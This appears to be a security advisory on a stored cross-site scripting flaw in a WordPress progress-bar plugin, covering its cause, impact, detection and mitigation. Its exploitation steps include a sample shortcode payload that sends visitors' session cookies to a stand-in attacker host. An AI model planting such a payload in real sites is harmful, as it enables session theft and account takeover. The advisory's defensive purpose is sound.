CVE-2025-11883: 
WordPress vulnerability analysis and mitigation

CVE-2025-11883 is a Stored Cross-Site Scripting (XSS) vulnerability in the Responsive Progress Bar plugin for WordPress, affecting versions 1.0 and earlier. The flaw arises from insufficient input sanitization and output escaping on user-supplied attributes within the plugin's rprogress shortcode. It was published on October 22, 2025, and assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The vulnerability exists at line 64 of responsive-progress-bar.php, where user-supplied shortcode attributes are rendered without proper sanitization or escaping (Plugin Source). An authenticated attacker with at least contributor-level access can embed malicious JavaScript within the rprogress shortcode on any page or post; the script executes in the browser of any user who subsequently visits the affected page. No special configuration is required beyond having the plugin active and contributor-level (or higher) WordPress credentials.

Successful exploitation allows an attacker to inject and persistently store arbitrary JavaScript that executes in the context of other users' browsers, including administrators. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions, defacement, or redirection to malicious sites. The scope is changed (S:C in CVSS), meaning the injected script can affect resources beyond the plugin itself, with low confidentiality and integrity impact and no direct availability impact (Wordfence).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the available data. The vulnerability requires authenticated access at contributor level or above, which limits the attack surface compared to unauthenticated flaws. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The CVE is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).

1. Reconnaissance: Identify WordPress sites running the Responsive Progress Bar plugin version 1.0 or earlier, using tools like WPScan or by checking the plugin version in the site's source or /wp-content/plugins/responsive-progress-bar/ directory.
2. Obtain contributor-level access: Register or compromise an account with at least contributor privileges on the target WordPress site.
3. Craft malicious shortcode: Create or edit a post/page and insert the rprogress shortcode with a malicious attribute payload, e.g., [rprogress attribute="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish or submit the content: Save or submit the post/page containing the injected shortcode. The malicious script is now stored in the database.
5. Trigger execution: When any user (including administrators) visits the page containing the injected shortcode, the unsanitized attribute is rendered in the HTML output and the JavaScript executes in their browser, enabling session hijacking or further attacks (Plugin Source, Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing rprogress shortcode with encoded script tags or JavaScript event handlers in the request body.
• Database: Unexpected <script> tags or JavaScript payloads stored in the wp_posts table within post content fields containing [rprogress shortcode entries.
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages containing the rprogress shortcode, potentially carrying cookie or session data in query parameters.
• File System: No direct file system artifacts expected for this stored XSS; however, review plugin files at wp-content/plugins/responsive-progress-bar/responsive-progress-bar.php for unauthorized modifications.

The Responsive Progress Bar plugin version 1.0 is the last known vulnerable version; site administrators should check the WordPress plugin repository for any updated release that addresses this issue. If no patched version is available, the recommended workaround is to deactivate and remove the plugin until a fix is released. Additionally, restrict contributor-level account creation and review existing contributor accounts for unauthorized access (Wordfence, WordPress Plugin).

Wordfence disclosed and reported this vulnerability, including it in their weekly WordPress vulnerability report for October 20–26, 2025 (Wordfence Blog). No significant broader media coverage, researcher commentary, or notable social media discussion has been identified for this CVE beyond standard vulnerability aggregator listings.